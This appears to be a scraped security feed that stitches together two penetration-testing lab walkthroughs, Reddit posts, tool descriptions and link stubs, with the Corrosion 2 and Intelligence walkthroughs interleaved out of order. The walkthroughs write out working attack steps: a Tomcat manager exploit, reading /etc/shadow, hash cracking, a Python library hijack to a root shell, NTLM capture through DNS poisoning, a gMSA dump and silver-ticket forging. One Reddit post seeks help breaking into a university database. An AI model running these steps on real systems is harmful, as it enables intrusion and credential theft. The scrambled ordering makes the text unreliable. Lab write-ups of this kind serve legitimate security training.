omcat users xml file.
unzip backup.zip
cat tomcat-users.xml
https://blogger.googleusercontent.com/img/a/AVvXsEi9oeyicwDyWMaMCXtq8RGEi-3zD-Socl4-ycbU3avaccjVA8ORsboGgevbnVkWiGfk8NMoIDJaGIpRbwjJ7z-EmNjqn1kD8gJB1e3C0M8UpKEdNYlkSQRr7gkWHQrk0Ms1BO2Nb0BlfHaws77hoHjEk6jp_2_MxRDffc-EyaLM7oJJ1aUNf9wBDpwB0w=s16000

Bam!! We discovered user admin and password melehifokivai credentials.

https://blogger.googleusercontent.com/img/a/AVvXsEiztI5WuE5M1_Sta3tZ4waTHkdHBo0_OI1dj7bTeRexWODqUoJdjAPSScZzecjTDPV6Ku2cn9ut9fN3WL2z2m3WpU-xebq5qyTgwz_VrW2-L9U5NthHKHVmT-exmHL0iyXK-nwbJ4RDFBt2gLPDiVVAjO8v5xdyl4sQV_c66rTZ_10MplcGLch38Pji7g=s16000 ExploitationNow that we have the credentials, we can begin exploiting them using a Metasploit. In these instances, employing a Tomcat exploit is the best option. Then give us all the information we need to use it, and we’re ready to go. As you can see, we had a meterpreter session.
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.186
set rport 8080
set httpusername admin
set httppassword melehifokivai
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEiGj92boUJBX0CVzYS9bromIAyIbcd9DXHHI4d01HBaoxvecun1NG_gPY2nTe6RJxvxGBL2qejkOXnnfTn1jmnymcOSvCjtqZMgCOM9os9qRN4uh5iMMkBg77kzughkaXU9_3U-Z28d1LAwrryfMKlBmpKhmzHoY1-eoO2FXUxAyIyljhFrdCCI7ISkvg=s16000

We just switched the directory to home. We discover that we have two users in this lab, Jaye and Randy. We switched to user jaye. It has the same password (melehifokivai) that we found out earlier.
cd /home
ls
su jaye
ls
https://blogger.googleusercontent.com/img/a/AVvXsEjLEtiMgoOVz41sveSwTcw9xL7noY5ySUHyHSlBraS1-w31TjtdcEyZzes2B2uXc-as0XWzKUG5Axev7J1nLMUwZaa8koA3yV7GbLeskWw-67iunRaR8LctAP8QMU-nJIbbDCr0_0qCKlppcIT2KVWaJ4vSjjscYEvUW_H25ky34IwIj41uP_FRsHxjCg=s16000

We discovered that this individual has a look called the .program that allows us to locate any file. As a result, we use it to locate the /etc/shadow file. Boom!! We obtained the hash values of all users in this lab.
./look '' /etc/shadow
https://blogger.googleusercontent.com/img/a/AVvXsEiGjTeUA-Fyk-xVvS2Qql9rYylMJ2p1eIZIGQoFLPa3w5WqxnWajuvmvmcpDC8YiLKaCxCMbUFIm04a0yVRUjz4j0eEvmG9EljhS5yA_OE3iHTESgQXRyup1oXfBN6cIKQiPCpFCk1oLClF6jvQbrFqq6dfT0UJkCgcd5qOdvsyRIwUp0ZmA8QwBiFMcw=s16000

As you are aware, we already have the password for user Jaye. We copy user randy’s hash value and save it in a file called hash.

Using John, who is a specialist in this case, we try to crack that hash. In a matter of seconds, we cracked the password 07051986randy.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
https://blogger.googleusercontent.com/img/a/AVvXsEiMkuQCR3EMVH468xCy-YLUkoxS79qXoJDul_x_8ztOOx_lRN63aL9tb0p22erD4bjFPFfIuHvLtHKfkREBGJeN3DaxI5J5uHnG_gJJ1OGcueaE8QdN4H3lx4QnNrR73fo3JXPJ4CtBFUDprxT7Q8gWlalTA1myJXtaefyYiv6bjt9SQPqKnyH5NOonJw=s16000 Privilege EscalationNow, we have all of the necessary information to begin privilege escalation. To login via ssh as user randy, we use the cracked password 07051986randy.
ssh randy@192.168.1.186
Then we used the (sudo -l) tool to examine this user’s limits. We discovered that it can be abused by python library hijacking.

The randombase64.py python code can be used to perform this hijacking. which imports another file called base64.
sudo -l
cat /home/randy/randombase64.py
https://blogger.googleusercontent.com/img/a/AVvXsEiGJlFibtP3Rvm68cwnmhjBuC_ZPfKErWxwLaPX3IpTS0i2rrmAvDOCRkAuasFz6HS7Sv5H0b8TeHq6mMcaIr5NAybVRxmRKh8LYjzX3sYsXUgfcqJ5_qRGhAu5YKLKDAHAg5kdpelVpqgU7KKjq3JV00E3V8sRa63JENSNehirkJxVkq7YePWI85nHoA=s16000

To obtain base64 file coordinates, we use the locate command. In a couple of seconds, we discover its coordinates. We investigated the file’s restrictions. Using this file, we can gain root access.
locate base64
ls -la /usr/lib/python3.8/base64.py
https://blogger.googleusercontent.com/img/a/AVvXsEgFMMm8JJSJRUVQJbI1a6sGv641vEY4n2_9nv0MygnQPelYbVgQLIMtsidOL26Js6ezCTVnLUnq4MWmA[...]

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tps://blogger.googleusercontent.com/img/a/AVvXsEgiyhPKgMdVZmsfYrH4ZsTJ3I6ds0uKyy51J_Yy7o66mrafJZQpGAXOaWF6hI4VfpK5hfARqz1gH3dgUBLhyaP5IQswFGRo_qJ1bH-QakoUz2GVXwPK0pHPfK8GbYtQXorwcm_LmhvX--5YjPuKeeTRDXd78Nq9BYk00oF5URmO6r9mCBltGxCmA6jd2w=s16000

We need this WebRequest to reach our machine instead and for that we need to add a DNS record that points to us, so that we can capture auth request. For this, we’ll be using DNSUpdate script that can be found here.
git clone https://github.com/Sagar-Jangam/DNSUpdate.git
pip3 install -r requirements.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhht91lVo-24kCx1mnzf7y1HFoXOEoT5m7jxcy3egDH6l1C16yBHRi2cWqshVRDXmvlzgNwRvvqQ6uhu5tOgG9XXyGn5Shc6XwpdGHvrIPG-8tX_Y_FQ6NKV_vvGem_PIRN4j_RZxztZIR5ngjTVHdyA4dmTmSnbSdHu80ZE48G2sjr33mdmXoV2e3Cdg=s16000

Let us first set up a responder on our local system (HTB tunnel)

https://blogger.googleusercontent.com/img/a/AVvXsEhdQ8NciGvzq-jxsNoZvzaZWaupc_quYGaTv8J25FD2vadp_2ifK094IB61a8V5a50pBSz8yb-OoeT3VY9o-yMmyPJc_vNyKvC8hTU9E1MsRJgaxzKOaz7I1b_5OdfEzig5KVDeuJZXiaCpg7wG7ohTShHqzRn89zJsuKwZGhcD9YubLUi2UqKkljDzqw=s16000

We can add the DNS record using the following command.
python3.10 DNSUpdate.py -DNS 10.129.163.131 -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a ad -r webharsh -d 10.10.16.10
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It got added! Now we waited for 5 minutes and got juicy hash of a user Ted Graves

https://blogger.googleusercontent.com/img/a/AVvXsEhO8v6bnxgxKkmui3aaoQu_-fP_ylwUCPF7I-UVt950eRNE_kjAKmfBy7GmLVtNnpnCkLIDX5yMzvpGlJpDfnjOO6iJE-69Z3iqgrijhPz2qzwnCfOgsetMJttNbC6AxvHUn9eXpvA9f4gW4uOSdxNLiWE6ayQHwZr9fOMRYCKA7nx4mzo3zSFxSoYcQA=s16000

Now we copy this hash into a file called “hash” and run hashcat on it. 5600 is the code for netntlmv2 type hash.
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
As you can see, we have received a password!

https://blogger.googleusercontent.com/img/a/AVvXsEjsLHmVOff6J0ae9ilUu9wiW08vAi-QwLX9ZLpaE13X1FRwoe2nFXsgimCSJfGf5T91EFrmCF-C3KmKTK7cAjTfd0GaRwKg4Pbkw4ytwzHuXCq-VlYHioLSJvy5A6iV__nyY-8WqFYbF-P3RZFMf0kD7pVyU7Ls6kCyB_bAtxfT8mIC6CroJEWtuqadSg=s16000

Now that I had the credential for Ted, I instantly used ldapsearch to dump information about the directory on the server
ldapsearch -H ldap://10.129.163.131 -x -W -D "Ted.Graves@intelligence.htb" -b "dc=intelligence,dc=htb"
This gave me an interesting insight. A group managed service account was running on the domain.

https://blogger.googleusercontent.com/img/a/AVvXsEgD3BoWjfScMz549KlWC9xcQrp0XOTt7UMAdEeKfTwjDFNRE2yABXIgpvszRD1gSof44Eg30p09S21l5pid103IUTJW_nc1W2XVQ9jPXhT_TNfXVWprMo4O0pD3uU4R0Y5HDAxE8whCc2lkVmyR0DdwBzB-3DzCqz-93wdVE16eASMAuGq3ZQabmEnnMw=s16000

This MSA was trusted for delegation to WWW. So, this MSA’s password can be dumped now that we have ted’s credential. (check the article here) So, we will use gMSA dumper tool to do this. You can download this here

We can dump the account’s hash using the command (add intelligence.htb in /etc/hosts first)
echo "10.129.163.131  intelligence.htb" >> /etc/hosts
git clone https://github.com/micahvandeusen/gMSADumper.git
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Voila! We received a hash of the service account.

https://blogger.googleusercontent.com/img/a/AVvXsEh_WYhaVQVeW2mgPNaUuJYZxEhA3DjjxG1-2m7Qz79Yzqt12MvTfJ6oqPtYRZRR_8ZbAuccopyt4bdVCKgL3hQvGOwme0dTdfRuaJoBRjcHM-50CAelTrHKddO8PnPcAfGgFetApdcMosaFGiRu8eg_ODcrNp_lZxN7NpLXlfPotedKkbB6J7k28Nd-Tw=s16000

With this service account’s hash, we can use Impacket toolkit’s script getST.py to create a silver ticket. But we encountered a problem with this. After some googling, it turns out that we need to sync our time clock with the server’s [...]

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pfRVBpsgXtu-cg4PNnEV04fIbhYlRs7DZ3pDoYp62UUBXQnRtCIcnoXwfS0dwdMSPRufkHZj-9kqlwK2inNAva_heFvzOhvcIVF7t8clgDzQg=s16000

We made some changes to this base64 python file using the nano command. Add this code to get root access to the victim’s machine.
import os
os.system ("/bin/bash")
https://blogger.googleusercontent.com/img/a/AVvXsEi-6EwkZ9qHj9FD6Wg8PG1pbJnqtf1aZFLv8dqgEKSRI-rD5EuOl59qYmVEiEVPmqC2hJRnk7vgLbFuOAWeXJrCm_8pMIATGcaOFn1h4llwn_0VrI8BdBfb6z3_FRwRp6qCizRwS3C_-7Ja3oOZFUtOJlowQK39jgzKGpMgt53kvIrAtcwGqcpy97b4Vg=s16000

We are now coordinating the use of both Python files. Boom!! We obtained root access. We immediately changed the directory to root and received the root flag in a matter of seconds.
sudo /usr/lib/python3.8 /home/randy/randombase64.py
cd /root
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhBRjkN4kBHQLrByzbtz8vywMGjzDtnFEX9Y-W7TGt1PH4BgX7aWC6MsBcOuY0HInPf5JEBCyIKuCcmNT1QCidFWwVwL4QOyJG-NqXH2JyGzMQcEb3kvSk4Ff0L9U0gJ5U5Lydgb-1FjT-oOZ7aCVeWqqrDiReTUU2IVe-CBxrQyRewoPvXo-EUAqgC1g=s16000

This was a fantastic lab with a lot of information, especially in the enumeration and privilege escalation areas. It is worthwhile to attempt to gain CTF experience. Hopefully, this walk-through should have taught you something new.

Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedIn and Twitter.

The post Corrosion: 2 VulnHub Walkthrough appeared first on Hacking Articles.

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time in order for silver ticket to work. We do this like following:
apt install ntpdate
sudo ntpdate 10.129.163.131
https://blogger.googleusercontent.com/img/a/AVvXsEhFwbBGZpQwLXIukhKepAItLsNwKqnaQazN3BAJlonVuXO6cTdB7vVMyUonGdvY-PbRk2xUQ-xoNiK4z9_AADzlR--nTzL6dzY28BwJaUGXHW8PQxqTTEcfM4cIgJl1g5IPcf9H1xsbR3046P1JAcyGLDJr0PCpMtCLQY2X46VPeA8AkHrjPuMGZPlwIA=s16000 Post ExploitationMake sure impacket is installed and upgraded.
pip3 install impacket --upgrade
Now, we will use getST.py to generate ourselves a silver ticket using the command:
python3 /usr/share/doc/python3-impacket/examples/getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :6e03616eef48ba6a15be62280aefcdb2 -impersonate administrator
https://blogger.googleusercontent.com/img/a/AVvXsEgB_Fqrbh63MNeZfpO5INCCdVjAVJOijKC8iKQnGt-ylfeV0wjWhrZR5Y6deThPUoSje-tJZZ8zXjNVyafX5m7jwn19375Zq09VWR3K7tFdbV4RNVlzTHG55lJX0yydzEHrwgCg4L71PdLT_yRTdlGezlKQjoeK0A7ujUTLAzrQkDobF1DKN5u25u0L6Q=s16000

We need to export administrator.ccache first and then we need to add dc.intelligence.htb in our hosts file. Load the ccache ticket by setting the KRB5CCNAME environment variable to the ticket path. This environment variable automatically picks up the kirby ticket (stored in administrator.ccache) and uses in attacks against domain.
export KRB5CCNAME=administrator.ccache
echo "10.129.163.131 dc.intelligence.htb" >> /etc/hosts
klist
https://blogger.googleusercontent.com/img/a/AVvXsEgBK43b6HsiVHsEHHfbE-jfg-YVMr9dmj8fWWzRXCp0foqcbKAdrVJ1zmU5fiYHp9UH5Uzmy9ukKyyigc0t2B8oTKRQrsbg83CjzNeXusSDOpBJTEtLOgEF86PhEvpJK-WSxvxsQ850usqdP9t8Xp6SI256bPCUoK33Zc3um3MJBb4tHwccv3OLl1yJSA=s16000

Finally, we can use Impacket’s psexec to connect as an administrator and snag our root flag!
python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass dc.intelligence.htb
cd ../../Users/Administrator
type root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEjXkmd4KS6O65OPnCk2xQZg758U3a_CtE6PEBOoAv92aE6hss18FA3QD26wBNVbaGFh-S6bb_Z22G1BgeRDoYG9ISIFoUNsStjCcIopD87QnJuARCIslipvoGIYV3sxeXk2bCnzmDJchPjReDlufgNcpTjeH33HwPVhfWTdz1wgBPSqlHGNCn9jeyp9AA=s16000 ConclusionThe lab does not carry any traditional CTF like qualities but resembles highly to what one can see in real life. From extracting information from PDFs to validating existence of a user to compromising the Admin account by exploiting misconfiguration, the lab gives a lot to think about the actual existing security posture on Active Directories. There were no CVEs exploited in the lab and yet this type of exploitation is very common. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Intelligence HacktheBox Walkthrough appeared first on Hacking Articles.

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hacking: security in practice
Not a real hack wanted

I just got an anonymus mail referring to my Facebookprofile. Does anyone know how I can find out who visite my FB profile?

submitted by /u/yourFWB__NL
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https://external-preview.redd.it/Ha-1Z815GoMkfgFwNRQgU7JnITsZnBnjso6ai4eUoVE.jpg?width=640&crop=smart&auto=webp&s=c9198ee3d02f84b7cae8381034ef2dead52d8287 submitted by /u/godeater47x
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hacking: security in practice
UNI failed me, looking for an answer

Long story short..covid hit me for 2 weeks and i had my finals (IT).No one considered my situation and failed me on my 4 final exams without the possibility for a re-test My university stores it’s data on a web application databese (nginx 1.20.2 proxy server). For what i’m aware the site it’s kind of easy to be made and without a firewall.I don’t know nothing form pentesting or finding vulnerability’s soo i’ll need some help on these.

submitted by /u/youngtorab
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hacking: security in practice
Russian Cybersecurity Firm Draws U.S. Federal Scrutiny, Concern from National Security Experts

https://external-preview.redd.it/FkohB1mD40JdYX5bI-J-2BEfP7odXPPzyP-AnJsZuzU.jpg?width=640&crop=smart&auto=webp&s=a696eef9a1d42983e109e66b247f69fc7743489c submitted by /u/thegreatblazed
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Kali Linux Tutorials
Kit_Hunter : A Basic Phishing Kit Scanner For Dedicated And Semi-Dedicated Hosting

Kit_Hunter is a personal project to learn Python, and a basic scanning tool that will search directories and locate phishing kits based on established markers. As detection happens, a report is generated for administrators.

By default the script will generate a report that shows the files that were detected as potentially problematic, list the markers that indicated them as problematic (a.k.a. tags), and then show the exact line of code where the detection happened.
https://blogger.googleusercontent.com/img/a/AVvXsEhoP2qqV0hUngEm6LanuEVG_d1Q1OpTURRUGx2tjCbam9C88uP3XUnWM-OtRpwizI4J7ewLmKKs3r2NjFiQjvC3yeXmGCok_Uj8kxc-aGJlyk4VwTngpivZKFpA6H-9ZSH1wDWhQ-0Uv-W1izzNZTGOLBuxh-lFa6IjM--90IOUW1oKdV4ituQ_zU8E=s707
Usage

Help

To get quick help: python3 kit_hunter_2.py -hDefault scan

To launch a full scan using the default settings: python3 kit_hunter_2.pyQuick scan

To launch a quick scan, using minimal detection rules: python3 kit_hunter_2.py -qCustom scan

To launch a custom scan: python3 kit_hunter_2.py -cNote: When using the -cswitch, you must place a tag file in the same location as Kit Hunter. You can name this file whatever you want, but the extension must be .tag. Please remember that the formatting is important. There should only be one item per line, and no whitespaces. You can look at the other tag files if you need examples. Directory selected scanning

You can run kit_hunter_2.pyfrom any location using the -dswitch to select a directory to scan: python3 kit_hunter_2.py -d /path/to/directoryHowever, it is easier if you place kit_hunter_2.pyin the directory above your web root (e.g. /www/or /public_html/) and call the script from there.

The final report will be generated in the directory being scanned.

In my usage, I call Kit Hunter from my /kit/download/directory where new phishing kits are saved. My reports are then generated and saved to that folder. However, if I call Kit Hunter and scan my /PHISHING/Archive/folder using the -dswitch, then the report will save to /PHISHING/Archive/. Shell detection

This latest release of Kit Hunter comes with shell detection. Shell scripts are often packaged with phishing kits, or used to deploy phishing kits on webservers. Kit Hunter will scan for some common shell script elements. The process works exactly the same way as regular scanning, only the shell detections are called with the -sswitch. This is a standalone scan, so you can’t run it with other types. You can however leverage the -mand -lflags with shell scanning. See the script’s help section for more details.

Once scanning is complete, output from the script will point you to the location of the saved scan report. Tag Files

When it comes to the tag files, there are 41 tag files shipping with v2.5.8 Kit Hunter. These tag files detect targeted phishing campaigns, as well as various types of phishing tricks, such as obfuscation, templating, theming, and even branded kits like Kr3pto and Ex-Robotos. New tag files will be added, and existing tag files will be updated on a semi-regular basis. See the changelog for details.

As was the case with v1.0, the longer the tag file is, the longer it will take for the script to read it. Download

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Kali Linux Tutorials
Digital-Forensics-Lab : Free Hands-On Digital Forensics Labs For Students And Faculty

Digital-Forensics-Lab is a Free Hands-On Digital Forensics Labs For Students And Faculty.

Features Of Repository

* Hands-on Digital Forensics Labs: designed for Students and Faculty
* Linux-based lab: All labs are purely based on Kali Linux
* Lab screenshots: Each lab has PPTs with instruction screenshots
* Comprehensive: Cover many topics in digital forensics
* Free: All tools are open source
* Updated: The project is funded by DOJ and will keep updating
* Two formalized forensic intelligence in JSON files based-on case studies

Tool Installation (newly added on 12/6/2021) Method 1: Importing customized Kali VM image

The customized Kali VM = Kali (2020.4) + tools used for completing most of the labs listed above (except p2p Data Leakage case)

* Install Virtualbox
* Import the customized Kali 2020.4. Notes: the default harddisk size is 80G. Method 2: Installing tools using the customized script (the script ONLY is tested on Kali 2020.4)

The following script will install tools needed for completing most of the labs listed above (except p2p Data Leakage case, which has its own script described in PPTs). Please let us know if you need us to add more tools to the script.

* Install Virtualbox
* Install Kali 2020.4. Notes: Suggest You configure the disk size of Kali VM 80G because the size of each leakage cases image is 30G+
* How to run the installation script instructions, or you can simply follow the commands below

wget https://raw.githubusercontent.com/frankwxu/digital-forensics-lab/main/Help/tool-install-zsh.sh
chmod +x tool-install-zsh.sh
./tool-install-zsh.sh

Installed tools. Note that most of the commands for tools can executed globally. Now you can skip most of tool installation steps in PPTs.

Investigating NIST Data Leakage

The case study is to investigate an image involving intellectual property theft. The study include

* A large and complex case study created by NIST. You can access the Scenario, DD/Encase images. You can also find the solutions on their website.
* 14 hands-on labs/topics in digital forensics

Topics Covered
LabsTopics CoveredSize of PPTsLab 0Environment Setting Up2MLab 1Windows Registry3MLab 2Windows Event and XML3MLab 3Web History and SQL3MLab 4Email Investigation3MLab 5File Change History and USN Journal2MLab 6Network Evidence and shellbag2MLab 7Network Drive and Cloud5MLab 8Master File Table ($MFT) and Log File ($logFile) Analysis13MLab 9Windows Search History4MLab 10Windows Volume Shadow Copy Analysis6MLab 11Recycle Bin and Anti-Forensics3MLab 12Data Carving3MLab 13Crack Windows Passwords2M Investigating P2P Data Leakage

The P2P data leakage case study is to help students to apply various forensic techniques to investigate intellectual property theft involving P2P. The study includes

* A large and complex case involving a uTorrent client. The case is similar to NIST data leakage lab. However, it provides a clearer and more detailed timeline.
* Solid evidence with explanations. Each evidence that is associated with each activity is explained along with the timeline.
* 10 hands-on labs/topics in digital forensics

Topics Covered
LabsTopics CoveredSize of PPTsLab 0Lab Environment Setting Up4MLab 1Disk Image and Partitions5MLab 2Windows Registry and File Directory15MLab 3MFT Timeline6MLab 4USN Journal Timeline3MLab 5uTorrent Log File9MLab 6File Signature8MLab 7Emails9MLab 8Web History11MLab 9Website Analysis2MLab 10Timeline (Summary)13K Investigating Illegal Possession of Images

The case study is to investigate the illegal possession of Rhino images. This image was contributed by Dr. Golden G. Richard III, and was originally used in the DFRWS 2005 RODEO CHALLENGE. NIST hosts the USB DD image. A copy of the image is also available in the repository.[...]

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@Hacking_Video

Topics Covered
LabsTopics CoveredSize of PPTsLab 0HTTP Analysis using Wireshark (text)3MLab 1HTTP Analysis using Wireshark (image)6MLab 2Rhion Possession Investigation 1: File recovering9MLab 3Rhion Possession Investigation 2: Steganography4MLab 4Rhion Possession Investigation 3: Extract Evidence from FTP Traffic3MLab 5Rhion Possession Investigation 4: Extract Evidence from HTTP Traffic5M Investigating Email Harassment

The case study is to investigate the harassment email sent by a student to a faculty member. The case is hosted by digitalcorpora.org. You can access the senario description and network traffic from their website. The repository only provides lab instructions.

Topics Covered
LabsTopics CoveredSize of PPTsLab 0Investigating Harassment Email using Wireshark3MLab 1t-shark Forensic Introduction2MLab 2Investigating Harassment Email using t-shark2M Investigating Illegal File Transferring

The case study is to investigate computer memory for reconstructing a timeline of illegal data transferring. The case includes a scenario of transfer sensitive files from a server to a USB.

Topics Covered
LabsTopics CoveredSize of PPTsLab 0Memory Forensics11Mpart 1Understand the Suspect and Accountspart 2Understand the Suspect’s PCpart 3Network Forensicspart 4Investigate Command Historypart 5Investigate Suspect’s USBpart 6Investigate Internet Explorer Historypart 7Investigate File Explorer Historypart 8Timeline Analysis Investigating Hacking Case

The case study, including a disk image provided by NIST is to investigate a hacker who intercepts internet traffic within range of Wireless Access Points.

Topics Covered
LabsTopics CoveredSize of PPTsLab 0Hacking Case8M Investigating Android 10

The image is created by Joshua Hickman and hosted by digital corpora.
LabsTopics CoveredSize of PPTsLab 0Intro Pixel 33MLab 1Pixel 3 Image2MLab 2Pixel 3 Device4MLab 3Pixel 3 System Setting5MLab 4Overview: App Life Cycle11MLab 5.1.1AOSP App Investigations: Messaging4MLab 5.1.2AOSP App Investigations: Contacts3MLab 5.1.3AOSP App Investigations: Calendar1MLab 5.2.1GMS App Investigations: Messaging6MLab 5.2.2GMS App Investigations: Dialer2MLab 5.2.3GMS App Investigations: Maps8MLab 5.2.4GMS App Investigations: Photos6MLab 5.3.1Third-Party App Investigations: Kik4MLab 5.3.2Third-Party App Investigations: textnow1MLab 5.3.3Third-Party App Investigations: whatapp3MLab 6Pixel 3 Rooting5M Investigating Drone DJI

The dataset includes logical files extracted from a DJI controller (mobile device) and a SD card image used by the device. The Drone dataset is created by VTO Labs. The lab covers GPS investigation and cached image retrieval. Note that it is a draft. We will improve the lab later.
LabsTopics CoveredSize of PPTsLab 0DJI Mavic Air Mobile13MLab 1DJI Mavic Air MicroSD Raw2MLab 2DJI Mavic Air MicroSD Encase Format2M Tools

* Commands tested
NameCommandRepositoryInstallation MethodWinewine –versionhttps://source.winehq.org/git/wine.git/CustomVinettovinetto -hhttps://github.com/AtesComp/VinettoCustomimgclipimgclip -hhttps://github.com/Arthelon/imgclipapt installRegRipperrip.pl -hhttps://github.com/keydet89/RegRipper3.0Customized scirptWindows-Prefetch-Parserprefetch.py -hhttps://github.com/PoorBillionaire/Windows-Prefetch-Parser.gitCustompython-evtxevtx_dump.py -hhttps://github.com/williballenthin/python-evtxapt installlibesedb-utilsesedbexport -hhttps://github.com/libyal/libesedbapt installlibpffpffexport -hhttps://github.com/libyal/libpffapt installUSN-Record-Carverusncarve.py -hhttps://github.com/PoorBillionaire/USN-Record-Carverapt installUSN-Journal-Parserusn.py -hhttps://github.com/PoorBillionaire/USN-Journal-Parserapt installtime_decodetime_decode.py -hhttps://github.com/digitalsleuth/time_decodeGit cloneanalyzeMFTanalyzeMFT.py -hhttps://github.com/dkovar/analyzeMFTCustomized scirptlibvshadowvshadowinfo -hhttps://github.com/libyal/libvshadowCustomized scirptINDXParseINDXParse.py –Customized scirptcarving sq[...]

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@hacking_Attack
@Hacking_Video

lite .dbundark -hhttps://github.com/inflex/undark.gitCustomized scirptstegdetectstegdetect -VCustomized scirptstegbreakstegbreak -VCustomized scirptstego-toolkitjphideCustomized scirptjpsestego-toolkitekjpseekCustomized scirptvolatility-2vol.py -hhttps://github.com/volatilityfoundation/volatility.gitCustomized scirptliblnk-utilslnkinfo -hapt installJLECmdhttps://f001.backblazeb2.com/file/EricZimmermanTools/JLECmd.zipGit clonerecentfilecache-parserhttps://github.com/prolsen/recentfilecache-parserLogFileParserhttps://github.com/jschicht/LogFileParser.gitGit cloneUsnJrnl2Csvttps://github.com/jschicht/UsnJrnl2Csv.gitGit clone
* Other tools installed via apt install python3-pip, leafpad, terminator, sqlite3, tree, xmlstarlet, libhivex-bin, pasco, libhivex-bin, npm, binwalk, foremost, hashdeep, ewf-tools, nautilus Download

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@hacking_Attack
@Hacking_Video

Creating easy proof-of-concept scripts with Python and Curl.
https://medium.com/@wyv3rn/creating-easy-proof-of-concept-scripts-with-python-and-curl-5dca489c596b?source=rss------bug_bounty-5

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@hacking_Attack
@Hacking_Video

Hello Hunters!Continue reading on Medium » (https://medium.com/@wyv3rn/creating-easy-proof-of-concept-scripts-with-python-and-curl-5dca489c596b?source=rss------bug_bounty-5)

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@hacking_Attack
@Hacking_Video

My Pentest Log -4-
https://hcibo.medium.com/my-pentest-log-4-82286fe42994?source=rss------bug_bounty-5

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@hacking_Attack
@Hacking_Video

Greetings from Constantinople to all,Continue reading on Medium » (https://hcibo.medium.com/my-pentest-log-4-82286fe42994?source=rss------bug_bounty-5)

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@hacking_Attack
@Hacking_Video